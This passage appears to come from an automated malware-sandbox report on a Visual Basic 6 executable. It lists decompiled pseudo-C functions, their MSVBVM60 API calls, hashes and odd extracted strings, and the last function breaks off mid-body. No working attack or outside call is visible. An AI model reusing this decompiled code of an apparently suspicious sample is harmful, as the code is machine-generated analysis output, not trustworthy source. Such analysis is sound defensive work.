                    • Opcode ID: 058af89e2f0237a47ecd9c895a7539fe8580d7e13e196e4c14c06da559b2be20
                    • Instruction ID: 384889c10a3ef9f804f4880449b9858776da707a02e239e1233e71d36d1c30ef
                    • Opcode Fuzzy Hash: 058af89e2f0237a47ecd9c895a7539fe8580d7e13e196e4c14c06da559b2be20
                    • Instruction Fuzzy Hash: 63710A71D00608DFDB11DFE0C855BEEBBB9BF09704F20492AE501BB2A1C7BA5985DB58
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 58%
                    			E004179F7(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a8, void* _a12) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				void* _v24;
                    				intOrPtr _v28;
                    				void* _v32;
                    				void* _v36;
                    				signed int _v40;
                    				void* _v44;
                    				intOrPtr* _v48;
                    				signed int _v52;
                    				intOrPtr* _v56;
                    				signed int _v60;
                    				intOrPtr _v68;
                    				intOrPtr* _v72;
                    				signed int _v76;
                    				intOrPtr* _v80;
                    				signed int _v84;
                    				intOrPtr* _v88;
                    				signed int _v92;
                    				signed int _v96;
                    				char* _t87;
                    				signed int _t90;
                    				char* _t94;
                    				signed int _t97;
                    				signed int _t103;
                    				signed int _t108;
                    				signed int _t109;
                    				intOrPtr _t134;
                    
                    				_push(0x4014b6);
                    				_push( *[fs:0x0]);
                    				 *[fs:0x0] = _t134;
                    				_push(0x4c);
                    				L004014B0();
                    				_v12 = _t134;
                    				_v8 = 0x4013e0;
                    				L00401684();
                    				L00401684();
                    				if( *0x419010 != 0) {
                    					_v72 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v72 = 0x419010;
                    				}
                    				_t87 =  &_v44;
                    				L0040169C();
                    				_v48 = _t87;
                    				_t90 =  *((intOrPtr*)( *_v48 + 0x194))(_v48, _t87,  *((intOrPtr*)( *((intOrPtr*)( *_v72)) + 0x300))( *_v72));
                    				asm("fclex");
                    				_v52 = _t90;
                    				if(_v52 >= 0) {
                    					_v76 = _v76 & 0x00000000;
                    				} else {
                    					_push(0x194);
                    					_push(0x411644);
                    					_push(_v48);
                    					_push(_v52);
                    					L00401690();
                    					_v76 = _t90;
                    				}
                    				L0040168A();
                    				if( *0x419010 != 0) {
                    					_v80 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v80 = 0x419010;
                    				}
                    				_t94 =  &_v44;
                    				L0040169C();
                    				_v48 = _t94;
                    				_t97 =  *((intOrPtr*)( *_v48 + 0x1d8))(_v48, _t94,  *((intOrPtr*)( *((intOrPtr*)( *_v80)) + 0x348))( *_v80));
                    				asm("fclex");
                    				_v52 = _t97;
                    				if(_v52 >= 0) {
                    					_v84 = _v84 & 0x00000000;
                    				} else {
                    					_push(0x1d8);
                    					_push(0x411324);
                    					_push(_v48);
                    					_push(_v52);
                    					L00401690();
                    					_v84 = _t97;
                    				}
                    				L0040168A();
                    				if( *0x41931c != 0) {
                    					_v88 = 0x41931c;
                    				} else {
                    					_push(0x41931c);
                    					_push(0x41137c);
                    					L00401696();
                    					_v88 = 0x41931c;
                    				}
                    				_v48 =  *_v88;
                    				_t103 =  *((intOrPtr*)( *_v48 + 0x14))(_v48,  &_v44);
                    				asm("fclex");
                    				_v52 = _t103;
                    				if(_v52 >= 0) {
                    					_v92 = _v92 & 0x00000000;
                    				} else {
                    					_push(0x14);
                    					_push(0x41136c);
                    					_push(_v48);
                    					_push(_v52);
                    					L00401690();
                    					_v92 = _t103;
                    				}
                    				_v56 = _v44;
                    				_t108 =  *((intOrPtr*)( *_v56 + 0x130))(_v56,  &_v40);
                    				asm("fclex");
                    				_v60 = _t108;
                    				if(_v60 >= 0) {
                    					_v96 = _v96 & 0x00000000;
                    				} else {
                    					_push(0x130);
                    					_push(0x4114f4);
                    					_push(_v56);
                    					_push(_v60);
                    					L00401690();
                    					_v96 = _t108;
                    				}
                    				_t109 = _v40;
                    				_v68 = _t109;
                    				_v40 = _v40 & 0x00000000;
                    				L00401648();
                    				L0040168A();
                    				_v28 =  *0x4013d8;
                    				asm("wait");
                    				_push(0x417c46);
                    				L0040165A();
                    				L0040165A();
                    				L0040165A();
                    				return _t109;
                    			}































                    0x004179fc
                    0x00417a07
                    0x00417a08
                    0x00417a0f
                    0x00417a12
                    0x00417a1a
                    0x00417a1d
                    0x00417a2a
                    0x00417a35
                    0x00417a41
                    0x00417a5b
                    0x00417a43
                    0x00417a43
                    0x00417a48
                    0x00417a4d
                    0x00417a52
                    0x00417a52
                    0x00417a76
                    0x00417a7a
                    0x00417a7f
                    0x00417a8a
                    0x00417a90
                    0x00417a92
                    0x00417a99
                    0x00417ab5
                    0x00417a9b
                    0x00417a9b
                    0x00417aa0
                    0x00417aa5
                    0x00417aa8
                    0x00417aab
                    0x00417ab0
                    0x00417ab0
                    0x00417abc
                    0x00417ac8
                    0x00417ae2
                    0x00417aca
                    0x00417aca
                    0x00417acf
                    0x00417ad4
                    0x00417ad9
                    0x00417ad9
                    0x00417afd
                    0x00417b01
                    0x00417b06
                    0x00417b11
                    0x00417b17
                    0x00417b19
                    0x00417b20
                    0x00417b3c
                    0x00417b22
                    0x00417b22
                    0x00417b27
                    0x00417b2c
                    0x00417b2f
                    0x00417b32
                    0x00417b37
                    0x00417b37
                    0x00417b43
                    0x00417b4f
                    0x00417b69
                    0x00417b51
                    0x00417b51
                    0x00417b56
                    0x00417b5b
                    0x00417b60
                    0x00417b60
                    0x00417b75
                    0x00417b84
                    0x00417b87
                    0x00417b89
                    0x00417b90
                    0x00417ba9
                    0x00417b92
                    0x00417b92
                    0x00417b94
                    0x00417b99
                    0x00417b9c
                    0x00417b9f
                    0x00417ba4
                    0x00417ba4
                    0x00417bb0
                    0x00417bbf
                    0x00417bc5
                    0x00417bc7
                    0x00417bce
                    0x00417bea
                    0x00417bd0
                    0x00417bd0
                    0x00417bd5
                    0x00417bda
                    0x00417bdd
                    0x00417be0
                    0x00417be5
                    0x00417be5
                    0x00417bee
                    0x00417bf1
                    0x00417bf4
                    0x00417bfe
                    0x00417c06
                    0x00417c11
                    0x00417c14
                    0x00417c15
                    0x00417c30
                    0x00417c38
                    0x00417c40
                    0x00417c45

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 00417A12
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00417A2A
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00417A35
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00417A4D
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00417A7A
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,00411644,00000194), ref: 00417AAB
                    • __vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 00417ABC
                    • __vbaNew2.MSVBVM60(0041192C,00419010), ref: 00417AD4
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00417B01
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,00411324,000001D8), ref: 00417B32
                    • __vbaFreeObj.MSVBVM60 ref: 00417B43
                    • __vbaNew2.MSVBVM60(0041137C,0041931C), ref: 00417B5B
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041136C,00000014), ref: 00417B9F
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004114F4,00000130), ref: 00417BE0
                    • __vbaStrMove.MSVBVM60 ref: 00417BFE
                    • __vbaFreeObj.MSVBVM60 ref: 00417C06
                    • __vbaFreeStr.MSVBVM60(00417C46), ref: 00417C30
                    • __vbaFreeStr.MSVBVM60(00417C46), ref: 00417C38
                    • __vbaFreeStr.MSVBVM60(00417C46), ref: 00417C40
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$Free$CheckHresult$New2$Copy$ChkstkMove
                    • String ID:
                    • API String ID: 1233010552-0
                    • Opcode ID: 71ac184c2f0f54c63e4a2f5d30a6d6b57f5ca306e76126bebc757b2b107ac9c3
                    • Instruction ID: fd318ce9fee4214692bf343917ab24f66deae56bf3d727db3b27f164e5813179
                    • Opcode Fuzzy Hash: 71ac184c2f0f54c63e4a2f5d30a6d6b57f5ca306e76126bebc757b2b107ac9c3
                    • Instruction Fuzzy Hash: 1971C171D04208EFCB00EFE5C895BDDBBB4BF18309F24842AE511B72A1D7796985DB68
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 51%
                    			E00416372(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* _a16, void* _a24, void* _a32) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				void* _v24;
                    				void* _v28;
                    				void* _v32;
                    				void* _v36;
                    				char _v40;
                    				char _v44;
                    				char _v60;
                    				intOrPtr* _v64;
                    				signed int _v68;
                    				intOrPtr* _v76;
                    				signed int _v80;
                    				char* _t39;
                    				char* _t43;
                    				signed int _t47;
                    				char* _t49;
                    				intOrPtr _t73;
                    
                    				_push(0x4014b6);
                    				_push( *[fs:0x0]);
                    				 *[fs:0x0] = _t73;
                    				_t39 = 0x3c;
                    				L004014B0();
                    				_v12 = _t73;
                    				_v8 = 0x401328;
                    				L00401684();
                    				L00401684();
                    				L00401684();
                    				asm("fldz");
                    				L00401516();
                    				L004015E2();
                    				asm("fcomp qword [0x401320]");
                    				asm("fnstsw ax");
                    				asm("sahf");
                    				if(__eflags != 0) {
                    					if( *0x419010 != 0) {
                    						_v76 = 0x419010;
                    					} else {
                    						_push(0x419010);
                    						_push(0x41192c);
                    						L00401696();
                    						_v76 = 0x419010;
                    					}
                    					_t43 =  &_v40;
                    					L0040169C();
                    					_v64 = _t43;
                    					_t47 =  *((intOrPtr*)( *_v64 + 0x148))(_v64,  &_v44, _t43,  *((intOrPtr*)( *((intOrPtr*)( *_v76)) + 0x378))( *_v76));
                    					asm("fclex");
                    					_v68 = _t47;
                    					if(_v68 >= 0) {
                    						_t25 =  &_v80;
                    						 *_t25 = _v80 & 0x00000000;
                    						__eflags =  *_t25;
                    					} else {
                    						_push(0x148);
                    						_push(0x4113ac);
                    						_push(_v64);
                    						_push(_v68);
                    						L00401690();
                    						_v80 = _t47;
                    					}
                    					_push(0);
                    					_push(0);
                    					_push(_v44);
                    					_push( &_v60);
                    					L00401618();
                    					_push(1);
                    					_t49 =  &_v60;
                    					_push(_t49);
                    					L004015A6();
                    					L00401648();
                    					_push(_t49);
                    					L004015AC();
                    					L0040165A();
                    					_push( &_v44);
                    					_t39 =  &_v40;
                    					_push(_t39);
                    					_push(2);
                    					L00401654();
                    					L00401636();
                    				}
                    				asm("wait");
                    				_push(0x4164f2);
                    				L0040165A();
                    				L0040165A();
                    				L0040165A();
                    				return _t39;
                    			}





















                    0x00416377
                    0x00416382
                    0x00416383
                    0x0041638c
                    0x0041638d
                    0x00416395
                    0x00416398
                    0x004163a5
                    0x004163b0
                    0x004163bb
                    0x004163c0
                    0x004163c2
                    0x004163c7
                    0x004163cc
                    0x004163d2
                    0x004163d4
                    0x004163d5
                    0x004163e2
                    0x004163fc
                    0x004163e4
                    0x004163e4
                    0x004163e9
                    0x004163ee
                    0x004163f3
                    0x004163f3
                    0x00416417
                    0x0041641b
                    0x00416420
                    0x0041642f
                    0x00416435
                    0x00416437
                    0x0041643e
                    0x0041645a
                    0x0041645a
                    0x0041645a
                    0x00416440
                    0x00416440
                    0x00416445
                    0x0041644a
                    0x0041644d
                    0x00416450
                    0x00416455
                    0x00416455
                    0x0041645e
                    0x00416460
                    0x00416462
                    0x00416468
                    0x00416469
                    0x00416471
                    0x00416473
                    0x00416476
                    0x00416477
                    0x00416481
                    0x00416486
                    0x00416487
                    0x0041648f
                    0x00416497
                    0x00416498
                    0x0041649b
                    0x0041649c
                    0x0041649e
                    0x004164a9
                    0x004164a9
                    0x004164ae
                    0x004164af
                    0x004164dc
                    0x004164e4
                    0x004164ec
                    0x004164f1

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 0041638D
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 004163A5
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 004163B0
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 004163BB
                    • _CIcos.MSVBVM60(?,?,?,?,004014B6), ref: 004163C2
                    • __vbaFpR8.MSVBVM60(?,?,?,?,004014B6), ref: 004163C7
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 004163EE
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 0041641B
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113AC,00000148), ref: 00416450
                    • __vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 00416469
                    • __vbaStrVarMove.MSVBVM60(?,00000001), ref: 00416477
                    • __vbaStrMove.MSVBVM60(?,00000001), ref: 00416481
                    • #580.MSVBVM60(00000000,?,00000001), ref: 00416487
                    • __vbaFreeStr.MSVBVM60(00000000,?,00000001), ref: 0041648F
                    • __vbaFreeObjList.MSVBVM60(00000002,?,?,00000000,?,00000001), ref: 0041649E
                    • __vbaFreeVar.MSVBVM60(00000000,?,00000001), ref: 004164A9
                    • __vbaFreeStr.MSVBVM60(004164F2,?,?,?,?,004014B6), ref: 004164DC
                    • __vbaFreeStr.MSVBVM60(004164F2,?,?,?,?,004014B6), ref: 004164E4
                    • __vbaFreeStr.MSVBVM60(004164F2,?,?,?,?,004014B6), ref: 004164EC
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$Free$Copy$Move$#580CallCheckChkstkHresultIcosLateListNew2
                    • String ID:
                    • API String ID: 29270831-0
                    • Opcode ID: 6398996c0ad31aa0f488f9896509441aef8d954e8e9500fceea21f30cf39d43a
                    • Instruction ID: e5948ea1978b8519b660bda8ebf3a9cc58dcef69bbc5a0089734a8f998c705e4
                    • Opcode Fuzzy Hash: 6398996c0ad31aa0f488f9896509441aef8d954e8e9500fceea21f30cf39d43a
                    • Instruction Fuzzy Hash: 55412971D00209ABCB10EFA1CC56FEEBBB8AF14308F14452AF502B71A1DB79A945CB58
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 61%
                    			E004151C9(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a8, void* _a12) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				intOrPtr _v16;
                    				void* _v28;
                    				void* _v32;
                    				char _v36;
                    				intOrPtr _v44;
                    				intOrPtr _v52;
                    				intOrPtr* _v56;
                    				signed int _v60;
                    				intOrPtr* _v72;
                    				signed int _v76;
                    				intOrPtr* _v80;
                    				signed int _v84;
                    				char* _t60;
                    				signed int _t64;
                    				char* _t68;
                    				signed int _t71;
                    				void* _t91;
                    				void* _t93;
                    				intOrPtr _t94;
                    
                    				_t94 = _t93 - 0xc;
                    				 *[fs:0x0] = _t94;
                    				L004014B0();
                    				_v16 = _t94;
                    				_v12 = 0x401288;
                    				_v8 = 0;
                    				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x3c,  *[fs:0x0], 0x4014b6, _t91);
                    				L00401684();
                    				L00401684();
                    				if( *0x419010 != 0) {
                    					_v72 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v72 = 0x419010;
                    				}
                    				_t60 =  &_v36;
                    				L0040169C();
                    				_v56 = _t60;
                    				_v44 = 0x80020004;
                    				_v52 = 0xa;
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				_t64 =  *((intOrPtr*)( *_v56 + 0x1ec))(_v56, L"NEAPOLITANERNE", 0x10, _t60,  *((intOrPtr*)( *((intOrPtr*)( *_v72)) + 0x384))( *_v72));
                    				asm("fclex");
                    				_v60 = _t64;
                    				if(_v60 >= 0) {
                    					_v76 = _v76 & 0x00000000;
                    				} else {
                    					_push(0x1ec);
                    					_push(0x4113f0);
                    					_push(_v56);
                    					_push(_v60);
                    					L00401690();
                    					_v76 = _t64;
                    				}
                    				L0040168A();
                    				if( *0x419010 != 0) {
                    					_v80 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v80 = 0x419010;
                    				}
                    				_t68 =  &_v36;
                    				L0040169C();
                    				_v56 = _t68;
                    				_t71 =  *((intOrPtr*)( *_v56 + 0x138))(_v56, _t68,  *((intOrPtr*)( *((intOrPtr*)( *_v80)) + 0x35c))( *_v80));
                    				asm("fclex");
                    				_v60 = _t71;
                    				if(_v60 >= 0) {
                    					_v84 = _v84 & 0x00000000;
                    				} else {
                    					_push(0x138);
                    					_push(0x4114a8);
                    					_push(_v56);
                    					_push(_v60);
                    					L00401690();
                    					_v84 = _t71;
                    				}
                    				L0040168A();
                    				_push(0x415372);
                    				L0040165A();
                    				L0040165A();
                    				return _t71;
                    			}
























                    0x004151cc
                    0x004151db
                    0x004151e5
                    0x004151ed
                    0x004151f0
                    0x004151f7
                    0x00415206
                    0x0041520f
                    0x0041521a
                    0x00415226
                    0x00415240
                    0x00415228
                    0x00415228
                    0x0041522d
                    0x00415232
                    0x00415237
                    0x00415237
                    0x0041525b
                    0x0041525f
                    0x00415264
                    0x00415267
                    0x0041526e
                    0x00415278
                    0x00415282
                    0x00415283
                    0x00415284
                    0x00415285
                    0x00415293
                    0x00415299
                    0x0041529b
                    0x004152a2
                    0x004152be
                    0x004152a4
                    0x004152a4
                    0x004152a9
                    0x004152ae
                    0x004152b1
                    0x004152b4
                    0x004152b9
                    0x004152b9
                    0x004152c5
                    0x004152d1
                    0x004152eb
                    0x004152d3
                    0x004152d3
                    0x004152d8
                    0x004152dd
                    0x004152e2
                    0x004152e2
                    0x00415306
                    0x0041530a
                    0x0041530f
                    0x0041531a
                    0x00415320
                    0x00415322
                    0x00415329
                    0x00415345
                    0x0041532b
                    0x0041532b
                    0x00415330
                    0x00415335
                    0x00415338
                    0x0041533b
                    0x00415340
                    0x00415340
                    0x0041534c
                    0x00415351
                    0x00415364
                    0x0041536c
                    0x00415371

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 004151E5
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 0041520F
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 0041521A
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00415232
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 0041525F
                    • __vbaChkstk.MSVBVM60(?,00000000), ref: 00415278
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113F0,000001EC), ref: 004152B4
                    • __vbaFreeObj.MSVBVM60 ref: 004152C5
                    • __vbaNew2.MSVBVM60(0041192C,00419010), ref: 004152DD
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 0041530A
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004114A8,00000138), ref: 0041533B
                    • __vbaFreeObj.MSVBVM60 ref: 0041534C
                    • __vbaFreeStr.MSVBVM60(00415372), ref: 00415364
                    • __vbaFreeStr.MSVBVM60(00415372), ref: 0041536C
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$Free$CheckChkstkCopyHresultNew2
                    • String ID: NEAPOLITANERNE
                    • API String ID: 2810356740-375774541
                    • Opcode ID: 04f7a4f6918f75618e3406eb696efcd294eeae8f70936f8b6d83cf77d6339239
                    • Instruction ID: 4349db504b424cb7df8fe7b4af2b36880e471426473ca1993f32208a76d05054
                    • Opcode Fuzzy Hash: 04f7a4f6918f75618e3406eb696efcd294eeae8f70936f8b6d83cf77d6339239
                    • Instruction Fuzzy Hash: 55510771900608EFCB00EF91D895BDDBBB5BF18308F24446AF501BB2A1CB796985DF58
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 50%
                    			E00414798(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				long long* _v16;
                    				void* _v28;
                    				short _v32;
                    				long long _v40;
                    				intOrPtr _v48;
                    				char _v56;
                    				intOrPtr _v64;
                    				char _v72;
                    				intOrPtr _v80;
                    				char _v88;
                    				intOrPtr _v96;
                    				char _v104;
                    				intOrPtr _v112;
                    				char _v120;
                    				intOrPtr _v128;
                    				char _v136;
                    				intOrPtr _v144;
                    				char _v152;
                    				char* _v160;
                    				intOrPtr _v168;
                    				intOrPtr _v176;
                    				char _v184;
                    				short _v268;
                    				short _t81;
                    				char* _t84;
                    				void* _t109;
                    				void* _t111;
                    				long long* _t112;
                    				long long _t117;
                    
                    				_t112 = _t111 - 0xc;
                    				 *[fs:0x0] = _t112;
                    				L004014B0();
                    				_v16 = _t112;
                    				_v12 = 0x401208;
                    				_v8 = 0;
                    				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4014b6, _t109);
                    				_v80 = 0x80020004;
                    				_v88 = 0xa;
                    				_v64 = 0x80020004;
                    				_v72 = 0xa;
                    				_v48 = 0x80020004;
                    				_v56 = 0xa;
                    				_push( &_v88);
                    				_push( &_v72);
                    				_push( &_v56);
                    				_t117 =  *0x401200;
                    				 *_t112 = _t117;
                    				asm("fld1");
                    				 *_t112 = _t117;
                    				asm("fld1");
                    				 *_t112 = _t117;
                    				L00401606();
                    				_v40 = _t117;
                    				_push( &_v88);
                    				_push( &_v72);
                    				_push( &_v56);
                    				_push(3);
                    				L00401666();
                    				_v160 = 0x411424;
                    				_v168 = 8;
                    				L004015FA();
                    				_push(0);
                    				_push(3);
                    				_push( &_v56);
                    				_push( &_v72);
                    				L00401600();
                    				_v176 = 0x41142c;
                    				_v184 = 0x8008;
                    				_push( &_v72);
                    				_t81 =  &_v184;
                    				_push(_t81);
                    				L00401678();
                    				_v268 = _t81;
                    				_push( &_v72);
                    				_push( &_v56);
                    				_push(2);
                    				L00401666();
                    				_t84 = _v268;
                    				if(_t84 != 0) {
                    					_v144 = 0x80020004;
                    					_v152 = 0xa;
                    					_v128 = 0x80020004;
                    					_v136 = 0xa;
                    					_v112 = 0x80020004;
                    					_v120 = 0xa;
                    					_v96 = 0x80020004;
                    					_v104 = 0xa;
                    					_v80 = 0x80020004;
                    					_v88 = 0xa;
                    					_v64 = 0x80020004;
                    					_v72 = 0xa;
                    					_v160 = L"BOLIGMINISTERKOLLEGAERNE";
                    					_v168 = 8;
                    					L004015FA();
                    					_push( &_v152);
                    					_push( &_v136);
                    					_push( &_v120);
                    					_push( &_v104);
                    					_push( &_v88);
                    					_push( &_v72);
                    					_push( &_v56);
                    					L004015F4();
                    					L00401648();
                    					_push( &_v152);
                    					_push( &_v136);
                    					_push( &_v120);
                    					_push( &_v104);
                    					_push( &_v88);
                    					_push( &_v72);
                    					_t84 =  &_v56;
                    					_push(_t84);
                    					_push(7);
                    					L00401666();
                    				}
                    				_v32 = 0x6890;
                    				asm("wait");
                    				_push(0x4149e6);
                    				L0040165A();
                    				return _t84;
                    			}


































                    0x0041479b
                    0x004147aa
                    0x004147b6
                    0x004147be
                    0x004147c1
                    0x004147c8
                    0x004147d7
                    0x004147da
                    0x004147e1
                    0x004147e8
                    0x004147ef
                    0x004147f6
                    0x004147fd
                    0x00414807
                    0x0041480b
                    0x0041480f
                    0x00414810
                    0x00414818
                    0x0041481b
                    0x0041481f
                    0x00414822
                    0x00414826
                    0x00414829
                    0x0041482e
                    0x00414834
                    0x00414838
                    0x0041483c
                    0x0041483d
                    0x0041483f
                    0x00414847
                    0x00414851
                    0x00414864
                    0x00414869
                    0x0041486b
                    0x00414870
                    0x00414874
                    0x00414875
                    0x0041487a
                    0x00414884
                    0x00414891
                    0x00414892
                    0x00414898
                    0x00414899
                    0x0041489e
                    0x004148a8
                    0x004148ac
                    0x004148ad
                    0x004148af
                    0x004148b7
                    0x004148c0
                    0x004148c6
                    0x004148d0
                    0x004148da
                    0x004148e1
                    0x004148eb
                    0x004148f2
                    0x004148f9
                    0x00414900
                    0x00414907
                    0x0041490e
                    0x00414915
                    0x0041491c
                    0x00414923
                    0x0041492d
                    0x00414940
                    0x0041494b
                    0x00414952
                    0x00414956
                    0x0041495a
                    0x0041495e
                    0x00414962
                    0x00414966
                    0x00414967
                    0x00414971
                    0x0041497c
                    0x00414983
                    0x00414987
                    0x0041498b
                    0x0041498f
                    0x00414993
                    0x00414994
                    0x00414997
                    0x00414998
                    0x0041499a
                    0x0041499f
                    0x004149a2
                    0x004149a8
                    0x004149a9
                    0x004149e0
                    0x004149e5

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 004147B6
                    • #680.MSVBVM60(?,?,?,?,?,?,0000000A,0000000A,0000000A), ref: 00414829
                    • __vbaFreeVarList.MSVBVM60(00000003,0000000A,0000000A,0000000A,?,?,?,?,?,?,0000000A,0000000A,0000000A), ref: 0041483F
                    • __vbaVarDup.MSVBVM60 ref: 00414864
                    • #717.MSVBVM60(?,?,00000003,00000000), ref: 00414875
                    • __vbaVarTstNe.MSVBVM60(00008008,?,?,?,00000003,00000000), ref: 00414899
                    • __vbaFreeVarList.MSVBVM60(00000002,?,?,00008008,?,?,?,00000003,00000000), ref: 004148AF
                    • __vbaVarDup.MSVBVM60 ref: 00414940
                    • #596.MSVBVM60(?,0000000A,0000000A,0000000A,0000000A,0000000A,0000000A), ref: 00414967
                    • __vbaStrMove.MSVBVM60(?,0000000A,0000000A,0000000A,0000000A,0000000A,0000000A), ref: 00414971
                    • __vbaFreeVarList.MSVBVM60(00000007,?,0000000A,0000000A,0000000A,0000000A,0000000A,0000000A,?,0000000A,0000000A,0000000A,0000000A,0000000A,0000000A), ref: 0041499A
                    • __vbaFreeStr.MSVBVM60(004149E6), ref: 004149E0
                    Strings
                    • BOLIGMINISTERKOLLEGAERNE, xrefs: 00414923
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$Free$List$#596#680#717ChkstkMove
                    • String ID: BOLIGMINISTERKOLLEGAERNE
                    • API String ID: 643183441-2320582082
                    • Opcode ID: c5efd6f6ccca69753451f683e812208db234b7d38f953c108ba211887498be65
                    • Instruction ID: c476b6aa3f93e3ceb72dcb576948b47babde33900737d4ccb2e590c161cef4ea
                    • Opcode Fuzzy Hash: c5efd6f6ccca69753451f683e812208db234b7d38f953c108ba211887498be65
                    • Instruction Fuzzy Hash: C451F7B290020CABDB11DFD1DA85BDEB7BCEF04304F10816AE245AA151DB796B49CF55
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 60%
                    			E00417622(void* __ebx, void* __ecx, void* __edi, void* __esi) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				intOrPtr _v24;
                    				char _v28;
                    				char _v44;
                    				char* _v52;
                    				intOrPtr _v60;
                    				char _v64;
                    				void* _v68;
                    				signed int _v72;
                    				intOrPtr* _v80;
                    				signed int _v84;
                    				intOrPtr* _v88;
                    				signed int _v92;
                    				char* _t54;
                    				signed int _t55;
                    				char* _t59;
                    				signed int _t62;
                    				char* _t66;
                    				intOrPtr _t90;
                    
                    				_push(0x4014b6);
                    				_push( *[fs:0x0]);
                    				 *[fs:0x0] = _t90;
                    				_push(0x48);
                    				L004014B0();
                    				_v12 = _t90;
                    				_v8 = 0x4013b0;
                    				_v52 = L"4-4-4";
                    				_v60 = 8;
                    				L004015FA();
                    				_t54 =  &_v44;
                    				_push(_t54);
                    				L00401576();
                    				_v68 =  ~(0 | _t54 != 0x0000ffff);
                    				L00401636();
                    				_t55 = _v68;
                    				if(_t55 == 0) {
                    					if( *0x419010 != 0) {
                    						_v80 = 0x419010;
                    					} else {
                    						_push(0x419010);
                    						_push(0x41192c);
                    						L00401696();
                    						_v80 = 0x419010;
                    					}
                    					_t59 =  &_v28;
                    					L0040169C();
                    					_v68 = _t59;
                    					_t62 =  *((intOrPtr*)( *_v68 + 0x180))(_v68, _t59,  *((intOrPtr*)( *((intOrPtr*)( *_v80)) + 0x308))( *_v80));
                    					asm("fclex");
                    					_v72 = _t62;
                    					if(_v72 >= 0) {
                    						_v84 = _v84 & 0x00000000;
                    					} else {
                    						_push(0x180);
